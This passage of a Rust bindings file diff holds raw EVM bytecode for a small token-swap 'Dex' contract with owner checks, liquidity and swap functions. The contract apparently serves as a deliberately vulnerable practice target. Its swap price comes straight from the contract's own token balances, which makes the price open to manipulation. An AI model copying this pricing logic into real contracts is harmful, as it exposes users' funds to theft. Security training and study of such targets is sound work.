\x01a\0\xEAV[a\0\xC1a\x01N6`\x04a\x08\xFDV[a\x03\xF2V[`\x01Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xC1a\x01t6`\x04a\x08\xC1V[a\x04(V[a\0\xC1a\x01\x876`\x04a\t0V[a\x06\xE1V[a\x012a\x01\x9A6`\x04a\x08\xFDV[a\x07ZV[`\x01T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xE1\xF2\x1Cg\x90a\x01\xD3\x903\x90\x86\x90\x86\x90`\x04\x01a\tKV[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xEDW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x01W=`\0\x80>=`\0\xFD[PP`\x02T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x92Pc\xE1\xF2\x1Cg\x91Pa\x029\x903\x90\x86\x90\x86\x90`\x04\x01a\tKV[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02SW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02gW=`\0\x80>=`\0\xFD[PPPPPPV[a\x02wa\x07\xD1V[`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x16\x90c#\xB8r\xDD\x90a\x02\xA7\x903\x900\x90\x86\x90`\x04\x01a\tKV[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x02\xC6W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xEA\x91\x90a\toV[PPPV[a\x02\xF7a\x07\xD1V[a\x03\x01`\0a\x08+V[V[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\0\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x03JW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03n\x91\x90a\t\x98V[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x03\xB2W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03\xD6\x91\x90a\t\x98V[a\x03\xE0\x90\x84a\t\xB1V[a\x03\xEA\x91\x90a\t\xD6V[\x94\x93PPPPV[a\x03\xFAa\x07\xD1V[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x93\x84\x16`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x02\x80T\x92\x90\x93\x16\x91\x16\x17\x90UV[`\x01T`\x01`\x01`\xA0\x1B\x03\x84\x81\x16\x91\x16\x14\x80\x15a\x04RWP`\x02T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16\x91\x16\x14[\x80a\x04\x82WP`\x02T`\x01`\x01`\xA0\x1B\x03\x84\x81\x16\x91\x16\x14\x80\x15a\x04\x82WP`\x01T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16\x91\x16\x14[a\x04\xC4W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0E`$\x82\x01RmInvalid tokens`\x90\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`@Qcp\xA0\x821`\xE0\x1B\x81R3`\x04\x82\x01R\x81\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x05\nW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05.\x91\x90a\t\x98V[\x10\x15a\x05qW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x12`$\x82\x01Rq\x04\xE6\xF7B\x06V\xE6\xF7Vv\x82\x07F\xF2\x077v\x17`t\x1B`D\x82\x01R`d\x01a\x04\xBBV[`\0a\x05~\x84\x84\x84a\x03\x03V[`@Qc#\xB8r\xDD`\xE0\x1B\x81R\x90\x91P`\x01`\x01`\xA0\x1B\x03\x85\x16\x90c#\xB8r\xDD\x90a\x05\xB1\x903\x900\x90\x87\x90`\x04\x01a\tKV[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x05\xD0W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\xF4\x91\x90a\toV[P`@Qc\t^\xA7\xB3`\xE0\x1B\x81R0`\x04\x82\x01R`$\x81\x01\x82\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\t^\xA7\xB3\x90`D\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x06BW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06f\x91\x90a\toV[P`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c#\xB8r\xDD\x90a\x06\x97\x900\x903\x90\x86\x90`\x04\x01a\tKV[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x06\xB6W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06\xDA\x91\x90a\toV[PPPPPV[a\x06\xE9a\x07\xD1V[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x07NW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04\xBBV[a\x07W\x81a\x08+V[PV[`@Qcp\xA0\x821`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x82\x81\x16`\x04\x83\x01R`\0\x91\x90\x84\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x07\xA4W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x07\xC8\x91\x90a\t\x98V[\x90P[\x92\x91PPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x03\x01W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R`d\x01a\x04\xBBV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x84U`@Q\x91\x90\x92\x16\x92\x83\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\x90\xA3PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x08\x92W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x08\xAAW`\0\x80\xFD[a\x08\xB3\x83a\x08{V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x08\xD6W`\0\x80\xFD[a\x08\xDF\x84a\x08{V[\x92Pa\x08\xED` \x85\x01a\x08{V[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0\x80`@\x83\x85\x03\x12\x15a\t\x10W`\0\x80\xFD[a\t\x19\x83a\x08{V[\x91Pa\t'` \x84\x01a\x08{V[\x90P\x92P\x92\x90PV[`\0` \x82\x84\x03\x12\x15a\tBW`\0\x80\xFD[a\x07\xC8\x82a\x08{V[`\x01`\x01`\xA0\x1B\x03\x93\x84\x16\x81R\x91\x90\x92\x16` \x82\x01R`@\x81\x01\x91\x90\x91R``\x01\x90V[`\0` \x82\x84\x03\x12\x15a\t\x81W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\t\x91W`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\t\xAAW`\0\x80\xFD[PQ\x91\x90PV[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17a\x07\xCBWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0\x82a\t\xF3WcNH{q`\xE0\x1B`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V\xFE\xA2dipfsX\"\x12 \xDD!\x0B8\xA3\x89\x94\xEB\x93\xB8I\x86\x8B\xDD\xBEo<\xD6\x19\xB3\xD1\xCF\xAE\xED\xC3\x96\xCA\xD6\x92\xDF\x8D\xB5dsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static DEX_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xA9W`\x005`\xE0\x1C\x80c\xBF\xD7\xE0\r\x11a\0qW\x80c\xBF\xD7\xE0\r\x14a\x01\x1FW\x80c\xCB\xC7\x85N\x14a\x01@W\x80c\xD2\x12 \xA7\x14a\x01SW\x80c\xDFy\x1EP\x14a\x01fW\x80c\xF2\xFD\xE3\x8B\x14a\x01yW\x80c\xF7\x88\x8A\xEC\x14a\x01\x8CW`\0\x80\xFD[\x80c\t^\xA7\xB3\x14a\0\xAEW\x80c%\xBE\x12N\x14a\0\xC3W\x80cVh\x87\0\x14a\0\xF3W\x80cqP\x18\xA6\x14a\x01\x06W\x80c\x8D\xA5\xCB[\x14a\x01\x0EW[`\0\x80\xFD[a\0\xC1a\0\xBC6`\x04a\x08\x97V[a\x01\x9FV[\0[`\x02Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xC1a\x01\x016`\x04a\x08\x97V[a\x02oV[a\0\xC1a\x02\xEFV[`\0T`\x01`\x01`\xA0\x1B\x03\x16a\0\xD6V[a\x012a\x01-6`\x04a\x08\xC1V[a\x03\x03V[`@Q\x90\x81R` \x01a\0\xEAV[a\0\xC1a\x01N6`\x04a\x08\xFDV[a\x03\xF2V[`\x01Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xC1a\x01t6`\x04a\x08\xC1V[a\x04(V[a\0\xC1a\x01\x876`\x04a\t0V[a\x06\xE1V[a\x012a\x01\x9A6`\x04a\x08\xFDV[a\x07ZV[`\x01T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xE1\xF2\x1Cg\x90a\x01\xD3\x903\x90\x86\x90\x86\x90`\x04\x01a\tKV[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xEDW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x01W=`\0\x80>=`\0\xFD[PP`\x02T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x92Pc\xE1\xF2\x1Cg\x91Pa\x029\x903\x90\x86\x90\x86\x90`\x04\x01a\tKV[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02SW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02gW=`\0\x80>=`\0\xFD[PPPPPPV[a\x02wa\x07\xD1V[`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x16\x90c#\xB8r\xDD\x90a\x02\xA7\x903\x900\x90\x86\x90`\x04\x01a\tKV[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x02\xC6W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xEA\x91\x90a\toV[PPPV[a\x02\xF7a\x07\xD1V[a\x03\x01`\0a\x08+V[V[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\0\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x03JW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03n\x91\x90a\t\x98V[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x03\xB2W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03\xD6\x91\x90a\t\x98V[a\x03\xE0\x90\x84a\t\xB1V[a\x03\xEA\x91\x90a\t\xD6V[\x94\x93PPPPV[a\x03\xFAa\x07\xD1V[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x93\x84\x16`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x02\x80T\x92\x90\x93\x16\x91\x16\x17\x90UV[`\x01T`\x01`\x01`\xA0\x1B\x03\x84\x81\x16\x91\x16\x14\x80\x15a\x04RWP`\x02T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16\x91\x16\x14[\x80a\x04\x82WP`\x02T`\x01`\x01`\xA0\x1B\x03\x84\x81\x16\x91\x16\x14\x80\x15a\x04\x82WP`\x01T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16\x91\x16\x14[a\x04\xC4W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0E`$\x82\x01RmInvalid tokens`\x90\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`@Qcp\xA0\x821`\xE0\x1B\x81R3`\x04\x82\x01R\x81\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x05\nW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05.\x91\x90a\t\x98V[\x10\x15a\x05qW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x12`$\x82\x01Rq\x04\xE6\xF7B\x06V\xE6\xF7Vv\x82\x07F\xF2\x077v\x17`t\x1B`D\x82\x01R`d\x01a\x04\xBBV[`\0a\x05~\x84\x84\x84a\x03\x03V[`@Qc#\xB8r\xDD`\xE0\x1B\x81R\x90\x91P`\x01`\x01`\xA0\x1B\x03\x85\x16\x90c#\xB8r\xDD\x90a\x05\xB1\x903\x900\x90\x87\x90`\x04\x01a\tKV[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x05\xD0W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\xF4\x91\x90a\toV[P`@Qc\t^\xA7\xB3`\xE0\x1B\x81R0`\x04\x82\x01R`$\x81\x01\x82\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\t^\xA7\xB3\x90`D\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x06BW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06f\x91\x90a\toV[P`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c#\xB8r\xDD\x90a\x06\x97\x900\x903\x90\x86\x90`\x04\x01a\tKV[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x06\xB6W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06\xDA\x91\x90a\toV[PPPPPV[a\x06\xE9a\x07\xD1V[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x07NW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04\xBBV[a\x07W\x81a\x08+V[PV[`@Qcp\xA0\x821`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x82\x81\x16`\x04\x83\x01R`\0\x91\x90\x84\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x07\xA4W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x07\xC8\x91\x90a\t\x98V[\x90P[\x92\x91PPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x03\x01W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R`d\x01a\x04\xBBV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x84U`@Q\x91\x90\x92\x16\x92\x83\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\x90\xA3PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x08\x92W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x08\xAAW`\0\x80\xFD[a\x08\xB3\x83a\x08{V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x08\xD6W`\0\x80\xFD[a\x08\xDF\x84a\x08{V[\x92Pa\x08\xED` \x85\x01a\x08{V[\x91P`@\x84\x015\x90P\x92P\x92P\x92V[`\0\x80`@\x83\x85\x03\x12\x15a\t\x10W`\0\x80\xFD[a\t\x19\x83a\x08{V[\x91Pa\t'` \x84\x01a\x08{V[\x90P\x92P\x92\x90PV[`\0` \x82\x84\x03\x12\x15a\tBW`\0\x80\xFD[a\x07\xC8\x82a\x08{V[`\x01`\x01`\xA0\x1B\x03\x93\x84\x16\x81R\x91\x90\x92\x16` \x82\x01R`@\x81\x01\x91\x90\x91R``\x01\x90V[`\0` \x82\x84\x03\x12\x15a\t\x81W`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\t\x91W`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\t\xAAW`\0\x80\xFD[PQ\x91\x90PV[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17a\x07\xCBWcNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0\x82a\t\xF3WcNH{q`\xE0\x1B`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V\xFE\xA2dipfsX\"\x12 \x10c+\xAD\x99\xCF\xF7\xB5\xE0\x92\x07=\x0B\x1A\x0F\xE5\xCBN$\xE9\x16\x0CR\xE0\xC7\xEF\xC9*\xAAIZ\xBBdsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0\xA9W`\x005`\xE0\x1C\x80c\xBF\xD7\xE0\r\x11a\0qW\x80c\xBF\xD7\xE0\r\x14a\x01\x1FW\x80c\xCB\xC7\x85N\x14a\x01@W\x80c\xD2\x12 \xA7\x14a\x01SW\x80c\xDFy\x1EP\x14a\x01fW\x80c\xF2\xFD\xE3\x8B\x14a\x01yW\x80c\xF7\x88\x8A\xEC\x14a\x01\x8CW`\0\x80\xFD[\x80c\t^\xA7\xB3\x14a\0\xAEW\x80c%\xBE\x12N\x14a\0\xC3W\x80cVh\x87\0\x14a\0\xF3W\x80cqP\x18\xA6\x14a\x01\x06W\x80c\x8D\xA5\xCB[\x14a\x01\x0EW[`\0\x80\xFD[a\0\xC1a\0\xBC6`\x04a\x08\x97V[a\x01\x9FV[\0[`\x02Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xC1a\x01\x016`\x04a\x08\x97V[a\x02oV[a\0\xC1a\x02\xEFV[`\0T`\x01`\x01`\xA0\x1B\x03\x16a\0\xD6V[a\x012a\x01-6`\x04a\x08\xC1V[a\x03\x03V[`@Q\x90\x81R` \x01a\0\xEAV[a\0\xC1a\x01N6`\x04a\x08\xFDV[a\x03\xF2V[`\x01Ta\0\xD6\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[a\0\xC1a\x01t6`\x04a\x08\xC1V[a\x04(V[a\0\xC1a\x01\x876`\x04a\t0V[a\x06\xE1V[a\x012a\x01\x9A6`\x04a\x08\xFDV[a\x07ZV[`\x01T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x90c\xE1\xF2\x1Cg\x90a\x01\xD3\x903\x90\x86\x90\x86\x90`\x04\x01a\tKV[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xEDW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02\x01W=`\0\x80>=`\0\xFD[PP`\x02T`@Qc\xE1\xF2\x1Cg`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x92Pc\xE1\xF2\x1Cg\x91Pa\x029\x903\x90\x86\x90\x86\x90`\x04\x01a\tKV[`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x02SW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x02gW=`\0\x80>=`\0\xFD[PPPPPPV[a\x02wa\x07\xD1V[`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x83\x16\x90c#\xB8r\xDD\x90a\x02\xA7\x903\x900\x90\x86\x90`\x04\x01a\tKV[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x02\xC6W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x02\xEA\x91\x90a\toV[PPPV[a\x02\xF7a\x07\xD1V[a\x03\x01`\0a\x08+V[V[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\0\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x03JW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03n\x91\x90a\t\x98V[`@Qcp\xA0\x821`\xE0\x1B\x81R0`\x04\x82\x01R`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x03\xB2W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x03\xD6\x91\x90a\t\x98V[a\x03\xE0\x90\x84a\t\xB1V[a\x03\xEA\x91\x90a\t\xD6V[\x94\x93PPPPV[a\x03\xFAa\x07\xD1V[`\x01\x80T`\x01`\x01`\xA0\x1B\x03\x93\x84\x16`\x01`\x01`\xA0\x1B\x03\x19\x91\x82\x16\x17\x90\x91U`\x02\x80T\x92\x90\x93\x16\x91\x16\x17\x90UV[`\x01T`\x01`\x01`\xA0\x1B\x03\x84\x81\x16\x91\x16\x14\x80\x15a\x04RWP`\x02T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16\x91\x16\x14[\x80a\x04\x82WP`\x02T`\x01`\x01`\xA0\x1B\x03\x84\x81\x16\x91\x16\x14\x80\x15a\x04\x82WP`\x01T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16\x91\x16\x14[a\x04\xC4W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x0E`$\x82\x01RmInvalid tokens`\x90\x1B`D\x82\x01R`d\x01[`@Q\x80\x91\x03\x90\xFD[`@Qcp\xA0\x821`\xE0\x1B\x81R3`\x04\x82\x01R\x81\x90`\x01`\x01`\xA0\x1B\x03\x85\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x05\nW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05.\x91\x90a\t\x98V[\x10\x15a\x05qW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x12`$\x82\x01Rq\x04\xE6\xF7B\x06V\xE6\xF7Vv\x82\x07F\xF2\x077v\x17`t\x1B`D\x82\x01R`d\x01a\x04\xBBV[`\0a\x05~\x84\x84\x84a\x03\x03V[`@Qc#\xB8r\xDD`\xE0\x1B\x81R\x90\x91P`\x01`\x01`\xA0\x1B\x03\x85\x16\x90c#\xB8r\xDD\x90a\x05\xB1\x903\x900\x90\x87\x90`\x04\x01a\tKV[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x05\xD0W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x05\xF4\x91\x90a\toV[P`@Qc\t^\xA7\xB3`\xE0\x1B\x81R0`\x04\x82\x01R`$\x81\x01\x82\x90R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c\t^\xA7\xB3\x90`D\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x06BW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06f\x91\x90a\toV[P`@Qc#\xB8r\xDD`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x84\x16\x90c#\xB8r\xDD\x90a\x06\x97\x900\x903\x90\x86\x90`\x04\x01a\tKV[` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x06\xB6W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x06\xDA\x91\x90a\toV[PPPPPV[a\x06\xE9a\x07\xD1V[`\x01`\x01`\xA0\x1B\x03\x81\x16a\x07NW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`&`$\x82\x01R\x7FOwnable: new owner is the zero a`D\x82\x01Reddress`\xD0\x1B`d\x82\x01R`\x84\x01a\x04\xBBV[a\x07W\x81a\x08+V[PV[`@Qcp\xA0\x821`\xE0\x1B\x81R`\x01`\x01`\xA0\x1B\x03\x82\x81\x16`\x04\x83\x01R`\0\x91\x90\x84\x16\x90cp\xA0\x821\x90`$\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\x07\xA4W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x07\xC8\x91\x90a\t\x98V[\x90P[\x92\x91PPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x03\x01W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01\x81\x90R`$\x82\x01R\x7FOwnable: caller is not the owner`D\x82\x01R`d\x01a\x04\xBBV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x83\x81\x16`\x01`\x01`\xA0\x1B\x03\x19\x83\x16\x81\x17\x84U`@Q\x91\x90\x92\x16\x92\x83\x91\x7F\x8B\xE0\x07\x9CS\x16Y\x14\x13D\xCD\x1F\xD0\xA4\xF2\x84\x19I\x7F\x97\"\xA3\xDA\xAF\xE3\xB4\x18okdW\xE0\x91\x90\xA3PPV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x08\x92W`\0\x80\xFD[\x91\x90PV[`\0\x80`@\x83\x85\x03\x12\x15a\x08\xAAW`\0\x80\xFD[a\x08\xB3\x83a\x08{V[\x94` \x93\x90\x93\x015\x93PPPV[`\0\x80`\0``\x84\x86\x03\x12\x15a\x08\xD6W`\0\x80\xFD[a\x08\xDF\x84a\x08{V[\x92Pa\x08\xED` 